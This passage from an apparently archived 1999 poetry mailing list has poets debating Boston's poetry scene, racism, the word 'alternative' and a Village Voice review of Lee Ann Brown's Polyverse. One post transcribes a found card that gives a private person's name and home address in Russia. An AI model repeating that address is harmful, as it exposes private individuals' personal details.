anyhow all of this is to say that there was and is a scene here. It is a very accessible scene for anyone who takes the time to attend the various events & to actively participate.

[I am reminded here that I wrote to Cid Corman in 86 or so that I could not get a reading here.. he told me to stop carping & start a reading series]

In my public work here I am keenly aware of the university presence ...& of its very narrow leanings. This is nothing new. I am also aware that there is another path (I invited Helen Vendler to speak at the Duncan Memorial as indeed I should have... & she in turn should have spoken: But of that I have no control . . . history will.

Again what is not here what ignores what is here is of no interest.

Each scene as each poem as each Theory is an ACT of creation. made up. constantly remade & redefined & constant in its need for same. the rest you can have.

Corbett says later in the lift interview:

What are the poems ? What are we talking about, What are we looking at?

lets start here...

Again the common bond between us is THE WORK its creation and the daily living that enables that work. I cannot say this too often.

All best
Michael Franco

PSS this thought re the "obscenity riddled phone messages/calls.... as we all stand huddled over the romance of "a scene" we might do well to wonder in a real way -as we recall those scenes of the past, if we could actually tolerate the real of such. Jacques...can you imagine the call you might... might???!!! WOULD have received from Spicer - had your comments addressed San Francisco???? The caller that left an unidentified message should be cursed -further- with writers block .... the "other caller" whose time and intimacy accosted you... spoke out from what you mistake as a malaise

MF

all best

Michael Franco

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162. Joan Houlihan
Re: I Guess I'll Say It Flat Out
Thu 12 Aug 1999

"expertise wins."

The one true thing anyone here has said about Boston so far--and the reason why a so-called "alternative" poetry conference cannot have much impact. Boston has seen, been, *is* poetry, alternative, and alternative to the alternative--from Lowell to Plath, from Davidson to Heaney, from Pinsky to Wolcott, from Henri Cole to Lucie Brock-Broido, from Patricia Smith to Brother Blue, from every jam-packed Boston Globe Calendar with it's incredible variety of poetry readings and happenings, to its intense mega-doses of poetry workshops--in universities (BU, Harvard, MIT, BC), in poets' homes, in the Cambridge Center for the Arts. Not to mention all the great and diverse poets

who have lived, worked and continue to do so in Boston colleges and surrounding suburbs. It's an incredible, beautiful, electric, eclectic, intellectual and artistic environment with some of the most breathtaking seasonal beauty in the country. If there is a better place for real poetry to flourish I don't know about it. This will do fine for me.

> *From: A H Bramhall <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: I Guess I'll Say It Flat Out*
> *Date: Wed, 11 Aug 1999 20:23:37 -0400*
>
> *true as any shit can be: the*
> *streets of Boston are racist. I*
> *myself saw Mass Ave*
> *act out. all the streets*
> *have frat parties and*
> *stupid central heating. the trees*
> *in fair Boston are*
> *sadly reluctant to*
> *accept change. many*
> *of the buildings*
> *have issues. Boston Harbour*
> *ignores castanets, Logan Airport*
> *rolls over for thunder, the Fleet Centre is*
> *where people die*
> *deader than dead, and the arhythmic*
> *parsimony of local names*
> *rewards only the enclosed.*
> *people aren't people*
> *in any determined way*
> *here. the things*
> *in the sky*
> *fall rapidly.*
> *pity only exists far,*
> *far to the west*
> *because improvement is so*
> *human. the tone of what*
> *happened 15*
> *years ago*
> *broaches the new dynamics*
> *of concern, totally*
> *reeking of the*
> *eternal blah blah*
> *how's your stupid cat?*
> *the Boston*
> *Public Gardens has a*
> *darkness that cannot be relieved*

> *by mere rare questionable*
> *sunshine. the tone*
> *of every car is careless and*
> *sour. don't ask about*
> *any window, they are*
> *ALL THE SAME. every shopping bag*
> *contains an urge to*
> *prepare a final draft. the word 'every'*
> *is spoken every (hah!)*
> *three seconds and*
> *the books of Boston, each damn*
> *hole of them, are indented with indiscriminate*
> *malice. purple haze is a river*
> *kinder than the Charles.*
> *John Coltrane came to*
> *town and said QUIXOTIC while*
> *angrily flipping the bird. Elvin*
> *keeping time said*
> *yeah. words choose new*
> *routes here. no one (boxed redoubt) lives*
> *true life, the geese say SUCK, the SWANS remove to*
> *poetic realms, the pigeons indubitably*
> *have no rest in the perfect*
> *nest. the world is so*
> *finely wrought in smallness*
> *that every tallish*
> *structure within the*
> *city limits*
> *bows to the stress-fractured*
> *creeps who own the vocabulary*
> *now and forever. and that*
> *is how it is: one crowd is*
> *always better than*
> *another. expertise*
> *wins. bonus points*
> *when you supplicate to*
> *the answer. smooth things*
> *are marvelous.*

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163. Karen Kelley
Re: Boston poetry community as part of racist Boston? Geez.
Thu 12 Aug 1999

>
> well, i gotta back karen up on this; being from boston (or rather newton,
> the "golden ghetto" of the greater boston area) i can attest to the sharp
> divisions in neighborhoods --more so than in SF or NYC. however, there
are
> other forms of racism, such as in the Twin Cities where everything's
> supposed to be so nicey nice. the neighborhoods aren't as sharply
divided,
> but people are almost wilfully naive and want to deny difference wherever
> they find it.

I know my comment was sweeping, but I loved the city and it infuriated me to hear the enervated "Pity there wasn't more diversity" tone to a couple of the BoPo posts. The pervasive "gee, it's not *really* racism; it's ignorance" response of many Bostonians (and yeah, I know, upstanding citizens of other metropoli) makes me crazy. Somehow similar to the politicians all making their "We must stop these random shootings that seem to keep happening" speeches. Like, *duh.* These sentences have always let the problem live; and lately it strikes me that they might actually be serving as a kind of fertilizer.

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164. Al Filreis
Re: thoughts on BoPo and points distant
Thu 12 Aug 1999

Mike Magee wrote:

| I say all this knowing that there are | many interesting poets in and around Boston but that a really hopping | community of poets - which, whatever anyone says, is a *good thing* | is hard to come by and, as I say, pretty accidental.

I agree with most of what you say, Mike--especially about the Philadelphia scene as a possible counterexample. But I don't agree that it has been "pretty accidental." Some convergences are chances, to be sure; but most of all it's all been consicous willed hard work (including, significantly, your own). Your own Combo didn't just happen. It was to some perhaps crucial degree "made possible" by a lot of things and conditions already (by then) in place. Same with PhillyTalks, inventive as that project of Louis' has been.

Consciously and willfully yours,

--Al

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165. **Pierre Joris**
Re: "alternative"
Thu 12 Aug 1999

Yes, indeed Maria, I think you are spot on re "alternative" - the term doesn't cut it for me either & I'd rather stay with the slew of slightly gamy words like experimental, avant-garde, etc. I don't want an "alternative" - because that leaves the original untouched, simply suggesting something else of the same value, thus referring to taste, a fake choice (40 different bagels to choose from, though all are made with the same shitty flour, say). I want change, something, the world, the mind, to be altered - or at least I need to be able to believe that such a radical change is possible. "Alternative" is a shell-game for quick change artists. -- Pierre

-----Original Message-----
From: UB Poetics discussion group
[mailto:[redacted]] On Behalf Of Jeffrey Jullich
Sent: Thursday, August 12, 1999 4:44 AM
To: [redacted]
Subject: "alternative"

>>> "Maria Damon (Maria Damon)" <[redacted]>
08/09/99 05:25pm >>> "alternative" does tend to mean a certain
alternative, namely, an "experimental" style. like "avant garde."

With all of these various commentaries on the use of the phrase "alternative poetry"--- isn't this use of "alternative" derivative, though, borrowed from the marketing of contemporary music? It isn't as though poets themselves had hatched this usage, the way "Vorticist" or such may have been a genuine self-coined appellation. It's being patched in from the language at large, where it already has its politicized functions.

In the NY area at least, there are radio stations, more and more actually, which play what they call "alternative" rock; it's pretty much what used to be called "punk", with a dash of occasional "metal." I have the impression that with "alternative music" the marketers use the word to soften the scary edge they don't want to name: "punk." And I would suspect that, in its "pure" form, the same might be true of "alternative poetry."

Where "avant-garde" or even "experimental" may have suggested something contestatory, "defiant," or antagonistic to a status quo, the danger with a term like "alternative" is that it makes things sound as though these were arbitrary choices that one might wobble back and forth between casually: Coke/Pepsi ideology. It isn't dialectical anymore; it's styled as a mere matter of taste and whim, that you can switch the channel to "alternative" for a while if you get tired of mainstream, or whatever. Spice things up.

What is being elided is that an authentic "avant-garde" might actually be meant as ~"subversive,"~ the concept of "revolutionary" art, that it is seeking to change the whole rules of the game, and wasn't served up as a diversion. "Alternative," like "pluralistic," is a troublingly ~umbrella~ term, to my thinking: I thought Jacques' helpful postings correctly implied that there are poets who are writing essentially normative and conservative poetry, who are all too happy to slip under the tent skirts of a bohemia, out of embarassment or plain obliviousness to their "complicity" in perpetuating/reproducing things as they are, or for other reasons.

In short, what I am trying to say is that "alternative" is a ~vanilla-izing~ of something perhaps much more bitter and tonic than that. Or, it is a repackaging of (malgre lui) mainstream castaways who otherwise would have been lost against the mainstream's more exclusionary publishing odds. The "radical" that has lost its fight becomes "alternative."

Why ~can't~ a conference bill itself as "Subversive" or "Insurrectionist"? The fading of that sensibility may have a lot to do with the latter generational "directionlessness" that is also being discussed under this Boston theme.

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166. Pierre Joris

Re: Accessibility, Inclusivity, The Seen Scene

Thu 12 Aug 1999

Much enjoyed your posts re Boston poetry scene, Tisa.

But seem to have missed mention by anyone on this thread (correct me if I'm wrong) of my favorite of the long departed Boston poetas: Stephen Jonas, killed by smack, or Boston, in the mid-sixties. Is he still being read? Or forgotten despite Joe Torra's work? I'm pretty sure Torra's selected Jonas from Talisman is still in print.-- Pierre

-----Original Message-----
From: UB Poetics discussion group
[mailto:[redacted]] On Behalf Of Tisa Bryant
Sent: Thursday, August 12, 1999 12:03 AM

To: [redacted]
Subject: Accessibility, Inclusivity, The Seen Scene

The "guard/garde" in van- and avant- tend to do just that. It's hard to think of the words as having anything to do with "open"; they seem to work against insistence. Vanguard, at the front, standing along the curve, bordering on, bordering from, in relation to the center of concentric understanding, and bound by it until movement occurs, then starting over. The ins and outs. As I said in my post, I was one of the few, meaning three or four out of a possible 15, experimenting writers within the DRC, so said content in the Reading Series far outweighed that of the workshops/work produced. While a reunion of the DRC might be intriguing to some, its occurence at the next Alt Bo Po conference would yield yet another thread like the one currently being knotted here. I did not mean to imply that Boston's poetry scene, or its poets, were racist simply by living in a place with Boston's reputation. The DRC & RS came about out of lack, and to "break down the elitist aura surrounding (Black) literary figures." Bring 'em "home", make 'em accessible. So non-academic folks and academics could hear some poetry and meet the poets without feeling unwelcome, undereducated, or too poor. Much like, in varying respects, the Poetry Project, or the Unterberg/Y series, or Small Press Traffic, or what Aaron Kiely put together, or any other such thing going on in this world. Kiely created an event that made sense to him (and who knows who declined for whatever reason to attend?), invited people he knew, and will continue to expand and evolve as organizes future conferences, as David Kirschenbaum said. What is intriguing to me, although it's great that he's open to suggestions, is how he (or anyone) feels/thinks out the "alternative" in Boston (or anywhere) and what kinds of writers/work will be encouraged by the conferences, who will come and branch out, from the universities and from the 'hoods. Here alliances between Kiely, Lansing and Corbett could yield much, but I think Kiely's vision, and support of it, to be more important. I echo Linda Russo here, and what I think Kevin Killian was getting at.

There's got to be something to get to. Where is that? Home can work just as well as anywhere, if one is comfortable there, of one's own making or ad/a/o/ption. Here I must point out that the quality of poetic life in Boston may simply not sustain many for very long. (why people leave places) It can't be the weather, which is just as bad if not worse in Buffalo. So, Jacques, back to curriculum/influence, or something. Point(s) well taken. I wish Alt Bo Po the best, count Aaron as a burgeoning force to be reckoned with, and hope to see for myself some day what happens there. The ethnicity & innovation issue (together and separately) is about inclusivity, but not ethnicity as alternative in and of itself. Here, the DRC references do not serve well. Certainly there have been some changes since The New American Poetry, or Gross & Quasha's Open

Poetry, in which Black poets appeared together in the back of the book, instead of within the categorical sections in which they best fit, a move that at once showcased an impressive group of Black experimentalists and relegated them to an unfortunate and historically loaded space. But certain blindnesses still persist. Also too are the refusals by mainstream of-color editors to include same experimentalists in the publications they produce(d). This cannot be ignored. Also again, one must be seen to be part of the scene, be seen as part of the scene and seen well once seen there, understood to fit. (Back to Dodie Bellamy's persona post). It's easy to say that there are "no" or "few" (blank) writers, but then, how does one know, in publishing, especially if said writer doesn't dally with the usual signifiers in a recognizable way, if at all, goes by a first initial and non-identifiably ethnically specific last name, and/or if one doesn't show up on the scene? What is happening outside of the seen, and outside of the scene, and what does that look/sound like? How does physical presence come to be privileged over the arrival of text in this regard? This said specifically regarding inclusion/exclusion and writers of color, but also as a general query on the function of "centers", in this context.

****

Today we declare:
First, they are living in a Nono form;
Second, they are Nono lives;
Third, they make us feel Nono;
Fourth, they make us become Nono;
Fifth, we Nono.
Lan Ma
"Manifesto of Nonoism"
(Chendu, China, May 4, 1986)
****

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167. David Kirschenbaum
Johnny Appleseed
Thu 12 Aug 1999

Sorry for two posts in one day,but:

Karen Kelley wrote:
>it infuriated me
>to hear the enervated "Pity there wasn't more diversity" tone to a couple
>of the BoPo posts. The pervasive "gee, it's not *really* racism; it's
>ignorance" response of many Bostonians (and yeah, I know, upstanding
>citizens of other metropoli) makes me crazy. Somehow similar to the

>politicians all making their "We must stop these random shootings that seem
>to keep happening" speeches. Like, *duh.* These sentences have always let
>the problem live; and lately it strikes me that they might actually be
>serving as a kind of fertilizer.

There's a difference in addressing a situation and rectifying it. Is someone who simply doesn't know until turned on, such as myself, just a decade ago, toward a poet as "known" as Ferlinghetti, not simply ignorant? Once introduced, though, the burden is all in the newbee's hands. Race, in this context, simply doesn't enter into the equation. Statements do, as you say, simply let the problem live, but only if that's all they are, yet another editorial assailing the system, without proposing a route toward change. If something is to be attacked, it's an education system that introduces poetry through memorization and recitation of a certain group of long-dead white males, with a few token females and people of color sprinkled in for diversity's sake. Here's where the racism is quite often full-throttle. It's no wonder most of us are ignorant of some corner of this vast library.

Be Good,
David

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168. **Joan Houlihan**
Re: Boston poetry community as part of racist Boston? Geez.
Thu 12 Aug 1999

RE: well, i gotta back karen up on this; being from boston (or rather newton, the "golden ghetto" of the greater boston area) i can attest to the sharp divisions in neighborhoods --more so than in SF or NYC.

I am also from Newton (the "golden ghetto")and got used to running into people who thought I was rich. But you should know better, as do I: Newton is comprised of many Newtons: Newton Center, Newtonville, West Newton, Newton Highlands, Newton Upper Falls, Newton Lower Falls, THE LAKE (!!), Chestnut Hill, etc, etc. --it is one of the most economically diverse suburbs in Boston, if not THE most diverse. Yes, it is chock-full of lawyers and psychiatrists (Newton Center has the highest number of psychiatrists per sq mile in the country) and the "new" high-tech rich, but just a few miles away in any direction are the working class and blue collar people. Artists and writers also flourish there--it's close to the city and also has a lively arts scene of its own.

If by "sharp divisions" in neighborhoods, you mean racially unmixed neighborhoods, well, when I was growing up there it was not racially/ethnically mixed--but no suburb that far away from the city was. Now it is though. If you don't believe me, take a trip down Washington Street from West Newton to Newton Corner, or drive through some neighborhoods next time you're there.

> *From: Maria Damon <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: Boston poetry community as part of racist Boston? Geez.*
> *Date: Wed, 11 Aug 1999 17:34:18 -0600*
>
> *At 4:15 PM -0400 8/11/99, David Kirschenbaum wrote:*
> *Karen Kelley wrote:*
>
> *Being from Boston, this post caught my eye. I guess I'll say it flat out:*
> *Boston is the most racist place I've ever lived. Granted, I >went from there to New York & on to San Francisco--so maybe Boston >just looks bad by*
> *comparison. It all seemed quite civilized on the >surface: the neighborhoods were segregated and everyone knew which >lines not to cross.*
> *Maybe it's changed since I left 15 years ago, >but I kind of doubt it.*
>
> *I'm not from Boston, and, hell, as a Yankees fan in 1978 even owned a "Boston Sucks" T-shirt, until my mother found out about it and made my sister take it back, but geez, no matter how racist Boston may be --and I've*
> *heard horror stories from many former residents, and, back to baseball, the*
> *Red Sox were even the last team to integrate, Pumpsie Green in 1959, if memory serves me right, a full 12 years after Jackie Robinson and Larry Doby--but from the poetic community I know their isn't even a subtle form of*
> *racism. None. Zip. Nada.*
> *The ideas of neighborhoods being segregated and knowing the uncrossable lines relates to just about any major metropolis, including San Francisco and New York, each of which I've lived in, the latter for most of my live.*
> *Instead, again, I think it's simply ignorance rather than racism, that at times leads to non-diverse events and publications, sometimes even my own.*
> *It takes an extra effort to be inclusive, be it simply through inquiry or attending more ethnically and racially diverse reading series.*
> *Be Good,*
> *David*

> *well, i gotta back karen up on this; being from boston (or rather newton, the "golden ghetto" of the greater boston area) i can attest to the sharp divisions in neighborhoods --more so than in SF or NYC. however, there are other forms of racism, such as in the Twin Cities where everything's supposed to be so nicey nice. the neighborhoods aren't as sharply divided, but people are almost wilfully naive and want to deny difference wherever they find it.*

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169. Joan Houlihan
Re: get the wagons ina circle: re BOSTON
Thu 12 Aug 1999

Thanks for listing out all of the Boston poetry scenes you remember. Blacksmith House is a great place--also Tapas (was) and Waterstones (was). Don't forget Trident Cafe and Ploughshares in Cambridge--and yes, Stone Soup has been around for ages (T.T. The Bear's is another "get up and read your stuff" venue). MIT has been sponsoring some great readings lately, and, of course, Harvard. I personally don't buy into the idea that only academia--or, only NON-academia--is the "real" place of poetry. It's everywhere. I agree with you completely that:

"...the Work at work... that is the center.... Poetry is the center. The scene is uneven...lacks uniformity & is various in form... a cosmos."

I would not wish it otherwise.

> *From: Michael Franco <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: get the wagons ina circle: re BOSTON*
> *Date: Thu, 12 Aug 1999 14:57:40 EDT*
>
> *Having taken a few days or so to let this swirl in my mind I think that aside*
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> *-further- with writers block .... the "other caller" whose time and*
> *intimacy*
> *accosted you... spoke out from what you mistake as a malaise*
>
> *MF*
>
> *all best*
>
> *Michael Franco*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

170. **Michael Magee**

Re: thoughts on BoPo and points distant

Thu 12 Aug 1999

According to Al Filreis:
>
> I agree with most of what you say, Mike--especially about the Philadelphia
> scene as a possible counterexample. But I don't agree that it has been
> "pretty accidental." Some convergences are chances, to be sure; but most
> of all it's all been consicous willed hard work (including, significantly,
> your own). Your own Combo didn't just happen. It was to some perhaps
> crucial degree "made possible" by a lot of things and conditions already
> (by then) in place. Same with PhillyTalks, inventive as that project of
> Louis' has been.

Yes, yes - absolutely. I didn't mean to imply that what's going on in Philly is all just happenstance. Sorry if I did. No, I mean, the effort on the part of so many people - the hours and concentration devoted - have been incredible. I suppose my musing on its "accidental" nature had more to do with the ways of the universe (a fuzzy sense that it could easily have happened otherwise or not at all) than with an accurate attempt to describe how the community *happened*. While I'm here again, I'll say that, anti-academicism aside, there were professors at Penn and Temple who got behind Writers House and the philly poetry scene generally early and forcefully, most notably Al himself, but also Bob Lucid, Greg Djanikian, Herman Beavers, Farah Griffin (Herman, being the one, incidentally, who introduced me to Mackey's work). I should say too that Writers House has never been just a poetry venue but is enaged in all sorts of writing and social intiatives and is open to the public, which makes it all the more valuable as a place for poets. -m.

↑ Index

171. **Maria Damon**

Re: get the wagons ina circle: re BOSTON

Thu 12 Aug 1999

---

all this talk of the city of my heart is very heartening. i do not see jacques as having cast aspersions but as having raised issues. i see tisa's post as crucial and i reiterate my suggestion to include a darkroom collective reunion as a major part of next year's bopoco. i like all the posts weighing in from Filly, having just heard many encomia to the Writers' House at the Bard Poetry and Pedagogy conference it sounds dreamy... this kind of thinking is terrific and seems like part of what the LIST is for...generating debate about poetic communities and in the course of doing so, constructing one...

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172. **Pritchett,Patrick**

Re: POLYVERSE & the apophasis of Bernstein

Thu 12 Aug 1999

Tsk, tsk. Thanks for that post, Jeffrey. For an enthusiastic take on _Polyverse_, please see my review in the current issue of Jacket. I don't mention Charles Bernstein once.

http://www.jacket.zip.com.au/jacket08/index.html

Patrick Pritchett

> *-----Original Message-----*
> *From: Jeffrey Jullich [SMTP:[redacted]]*
> *Sent: Thursday, August 12, 1999 10:20 PM*

> *To:* [redacted]
> *Subject:* *Village Voice POLYVERSE review*
>
> *Wednesday's Village Voice runs a lukewarm or even unfavorable*
> *review of Lee Ann Brown's ~Polyverse,~ filled with gratuitous innuendo*
> *about Language Poetry. The reviewer is named Thad Ziolkowski.*

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173. **Patrick F. Durgin**

Re: Village Voice POLYVERSE review

Thu 12 Aug 1999

What's new about the NAP? You said it yourself, and I thunk it befo-
"Polyvocalism"

In my humble, monlithicist opining I say, EVERYONE READING THIS OUGHT TO
READ LEE ANN BROWN'S BOOK! The finest thing this year.

Patrick F. Durgin

At 12:20 AM 8/13/99 -0400, you wrote:
>Wednesday's Village Voice runs a lukewarm or even unfavorable
>review of Lee Ann Brown's ~Polyverse,~ filled with gratuitous innuendo
>about Language Poetry. The reviewer is named Thad Ziolkowski.
>
>He doesn't wait any longer than ~the first sentence~ to mention Charles
>(Bernstein), who selected ~Polyverse~ for the "prestigious" New
>American Poetry Series, and to begin casting veiled aspersions against
>him. We wouldn't have expected ~Polyverse~ as Charles' choice,
>Ziolkowski says: we would have expected "ironic, warily analytical
>work". Charles, here cast as papal, bishopric, or censorious by
>Ziolkowkski, should have been more likely to give ~that~ his "imprimatur".
>
>
>Ziolkowski criticizes Brown, basically, as too much a patchwork quilt of
>styles. (An assessment which Sun & Moon's own amazon.com Book
>Description is not, at a more positive slant, far afield from: "many forms
>and possibilities. Taking its cue from a wide range of modern and
>postmodern poetics, Brown's work . . .") ~Polyverse,~ he says, fails in
>echoing New York School, Beat, and Language, without synthesizing
>those influences. (Nor does Z. entertain the inkling that syncretism is not
>the only solution, that the ~Poly-~ in ~Polyverse~ may actually mean
>something, and that the segregated stylistics Brown leaves behind is
>~more~ in tune with an aesthetic of polyvocalism.)
>

>He finally treats this "thirtysomething" poet (his agism) as if, as I read it,
>this were a beginner's problem that she will hopefully work out in time
>("But then maybe the orgy among all these poetic influences is just
>getting warmed up").
>
>If it weren't for Brown eroticizing her Language-like "proliferation of
>grammatical terms", Language Poetry by itself is just "lifeless automatic
>pilot".
>
>He accuses Brown of seeming "dated, frozen in a sunstruck New
>York--circa-1965 atmosphere". Oddly, it's her "references to Whitman,
>Mayakovsky, Sappho and Stein" that Ziolkowski particularly singles out
>as behind-the-times, but yet when he again cites her eroticism as "What
>saves the book from this terminally reverent tendency", he quotes her
>lines "She's a minor flirt,/a cloud in trousers" without so much as a blink
>of open recognition that "a cloud in trousers", too, is yet another homage
>and "reverent tendency" (O'Hara/Mayakovsky). Ziolkowski is left looking
>as if he doesn't know he was quoting an appropriation of Brown's, at
>cross-purposes, and hence is in contradiction with himself by saying
>that what saves the book from a debility is the same debility.
>
>His attitude may reach its pique when he writes: "You end up wondering
>. . . what's particularly new about this New American." Fair question.
>Personally, I am left wondering, if he was this global in treating Brown ---
>whom ("Brown is . . . goofy in a troubadour-hippie-Fugs way") he
>nonetheless seems to enjoy, despite his disparaging slant of praise ---
>what kind of harsher polemic The Village Voice would have printed if the
>book were indeed "ironic, warily analytical work".
>
>See:
>
>http://www.villagevoice.com/arts/9932/ziolkowski.shtml
>
>

k e n n i n g_____
a newsletter of contemporary poetry_____
_____http://www.avalon.net/~kenning
418 Brown St. #10, Iowa City, IA 52245, USA

_____

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174. Tisa Bryant

Re: get the wagons ina circle: re BOSTON

Thu 12 Aug 1999

Michael, Thank you, you nailed it, summed it up, reminded me that I met Fanny Howe and her daughter Lucien at Word of Mouth. And about the many readings I attended at Blacksmith House, everything you mentioned I remember.

Things get distant....

I'm feeling very appreciative right now, and almost, almost, homesick. (winter drove me out, not memories of driving through Southie at night...)

This is fast; gotta eat!

More....fun....

<pre> Having taken a few days or so to let this swirl in my mind I think that aside from my annoyance at the previous blanket dismissal of the Festival---- ---- which did its work ...there was good bad & lame by known & unknown .. (remember one of the featured west-coast readers going on for 45 minutes when every one else was cutting back to a poem or two???) to wonderful moments like Windy Kramer's or Dan Bouchard's reading (which show his work to be Moving) Scalapino or Hejinian ...or Lease's short lovely burst or Gander's or... or...or... & having produced Word of Mouth on my own for ten years I know what Aaron K does / did in setting all of this into motion & then getting the hell out of the way....& just letting what ever happens happen

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MF

all best

Michael Franco

</pre>

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175. Michael Neff
Issue 5 of 5_Trope
Thu 12 Aug 1999

See David Buuck, and other bleeding edge work in this issue of 5_Trope. http://webdelsol.com/5_trope

There is truly, nothing quite like 5T. Criticism is welcome, please send to editor,
Gary Lutz:
[redacted]

5T doesn't use gratuitous sex to promote itself, only necessary and tasteful sex.

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176. Matt Kirschenbaum
Blake Archive's August Update
Thu 12 Aug 1999

---

12 August 1999

The William Blake Archive <http://www.iath.virginia.edu/blake> is pleased to announce the publication of new electronic editions of copies B and U of Blake's _Songs of Innocence__.

Copies B and U are a study in contrasts, yet both are from the earliest printings of this book. Copy B, now in the Rosenwald Collection, Library of Congress, was printed with fifteen other copies of _Innocence_ in 1789, four of which were later joined with _Experience_ impressions, printed in 1794, to form _Songs of

Innocence and of Experience_ copies B, C--which is in the Archive--D, and E. Unlike many of these early copies of _Innocence_, copy B still consists of all 31 plates originally composed and executed for _Innocence_. Like them, however, it was printed in a raw sienna ink on 17 leaves and exemplifies Blake's early printing and coloring style. The plates were wiped of their plate borders, the illustrations very lightly washed in watercolors, and the texts left unwashed. This mode of presentation, along with printing both sides of the leaves to create facing pages, emphasized the prints as book pages rather than prints or paintings. Good examples of printing and coloring illuminated plates to look like minatures can be seen in _Songs_ copy Z, also in the Archive.

Innocence copy U, from the Houghton Library, Harvard University, is an excellent example of printing illuminated plates to look like prints. Like etchings and engravings, they were printed on one side of the leaf in black ink and left uncolored. Copy U, which was printed with untraced copy V, had been dated c. 1814, because of some stylistic similarities it shares with illuminated works assumed to have been produced around that time. But, in fact, copy U is the _first_ copy of _Innocence_ printed. The presence of a unique first state for "Infant Joy" proves this sequence; the bottom part of the "J" in the title is missing in all extant impressions, but here it extends into the flower. Copy U was printed before copy B and all other early copies; the ink color, printing style (recto only), and lack of hand coloring suggest a date of printing before Blake had developed his special ways of producing his illuminated books and instead repeated styles and techniques long familiar to him as a commercial engraver.

Both electronic editions have newly edited SGML-encoded texts and new images scanned and color-corrected from first-generation 4x5" transparencies; they are each fully searchable for both text and images and supported by the Inote and ImageSizer applications described in our previous updates.

With the publication of these two titles, the Archive now contains 35 copies of 18 separate books, including at least one copy of every one of Blake's works in illuminated printing except the 100 plates of _Jerusalem_ (forthcoming).

Morris Eaves, Robert N. Essick, and Joseph Viscomi, editors
Matthew G. Kirschenbaum, Technical Editor
The William Blake Archive

↑ Index

177. **Lynn Miller**
Sugar Sugar
Thu 12 Aug 1999

@

Some time ago there was a thread of thought about words lost and found, and a cluster of posts around this, to which I'd like to contribute the following image-text found yesterday poking around the German stacks looking for Rosa Luxemburg's Politische Schriften vols. 1-3 at the Cleveland Public Library:

Cover Image: Two what appear to be golden retriever puppies surrounded in a field of flowers lifting (pointing) their paws toward a baby bunny rabbit. Cover Text: Crown Point Graphics / Carmel, IN 46032 NC 763 "Pansy Patrol" (Original Art Work by Diane Querry / Litho Canada.

Inside this card is the following handwritten message:

"Write to me:
Olessya Dianova
Str. Sortavalskya, x(The same mistake twice, but this means nothing)5/2-160
Petrozavodsk, RUSSIA 185026"

[Several quickly dashed lines resembling strands of hair separate the address from the message]

"My address is on the envelope as well. There are the pictures of you when we we in Guptols. Should have given you one of xxme But I completely forgot, I'll send it to you later. Bye! Let's both have xxsave trips.

Dear Naomi!

Sorry we couldn't see each other again Before we both leave, But I'll remember all the fun times we had spent together Hope you'll have a safe trip to Ohio, and school there will help you to Become the greatest musician ever. Don't forget to send me the copy of the novel when you finish it. I am gonna miss you.

[hand-drawn heart]Olessya"

Inside the card is a snapshot of the "greatest musician ever": hair falling well below her shoulders, wearing a blue flower print sleeveless blouse and jean shorts. A small purple coin purse hangs from a strap around her neck. Her full smile into the camera appears only casually posed, and her eyes reflect that red glare that happens with flashbulbs. A couple of Russian letters from a billboard or shop sign are all that glimmers through the pitchblack backdrop.

Finders keepers. Losers weepers.

I'd like to nominate these two click chicks as honorary (allegorical) Armandistas, after the spirit of the Armand among many others that emerges in the pages of some recent scholarship in the U.S.:

Jane McDermid & Anna Hllyar, WOMEN AND WORK IN RUSSIA 1880-1930 (Longman, 1998) Barbara Evans Clements, BOLSHEVIK WOMEN (Cambridge University Press, 1997). Barbara Evans Clements, DAUGHTERS OF

REVOLUTION (Harlan Davidson, Arlington Heights, Illinois, 1994) Clements, Engel and Worobec, eds., RUSSIA'S WOMEN (University of California Press, 1991)

The history being written here locates a feminism with the Bolshevik party that appears to have shared, in the thinking behind a project like Zhenotdel, which at first glance anyway appears to bear some resemblance to the literacy campaign conducted in Cuba in the early 60s, with Luxemburg's (mistaken?) view that "the revolutionary party should come much closer to encompassing the organized working class in its entirety." (Editor's introduction to Rosa Luxemburg Speaks, i.e. "From the whirlwind and the storm, out of the fire and flow of the mass strike and the street fighting, rise again, like Venus from the foam, fresh, young, powerful, buoyant trade unions.") The feminism that developed through an educational project like Zhenotdel and a newspaper like Rabonitsa (Working Woman) declared itself on the side of the working class and oppressed nationalities in pre-revolutionary Russia from within an organization whose legendary combative intransigence has perhaps overshadowed other strands of thought and activity which that organization was apparently able to accomodate, if not encourage and promote.

L.

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178. Jeffrey Jullich
Village Voice POLYVERSE review
Fri 13 Aug 1999

Wednesday's Village Voice runs a lukewarm or even unfavorable review of Lee Ann Brown's ~Polyverse,~ filled with gratuitous innuendo about Language Poetry. The reviewer is named Thad Ziolkowski.

He doesn't wait any longer than ~the first sentence~ to mention Charles (Bernstein), who selected ~Polyverse~ for the "prestigious" New American Poetry Series, and to begin casting veiled aspersions against him. We wouldn't have expected ~Polyverse~ as Charles' choice, Ziolkowski says: we would have expected "ironic, warily analytical work". Charles, here cast as papal, bishopric, or censorious by Ziolkowkski, should have been more likely to give ~that~ his "imprimatur".

Ziolkowski criticizes Brown, basically, as too much a patchwork quilt of styles. (An assessment which Sun & Moon's own amazon.com Book Description is not, at a more positive slant, far afield from: "many forms and possibilities. Taking its cue from a wide range of modern and postmodern poetics, Brown's work . . .") ~Polyverse,~ he says, fails in echoing New York School, Beat, and Language, without synthesizing those influences. (Nor does Z. entertain the

inkling that syncretism is not the only solution, that the ~Poly-~ in ~Polyverse~ may actually mean something, and that the segregated stylistics Brown leaves behind is ~more~ in tune with an aesthetic of polyvocalism.)

He finally treats this "thirtysomething" poet (his agism) as if, as I read it, this were a beginner's problem that she will hopefully work out in time ("But then maybe the orgy among all these poetic influences is just getting warmed up").

If it weren't for Brown eroticizing her Language-like "proliferation of grammatical terms", Language Poetry by itself is just "lifeless automatic pilot".

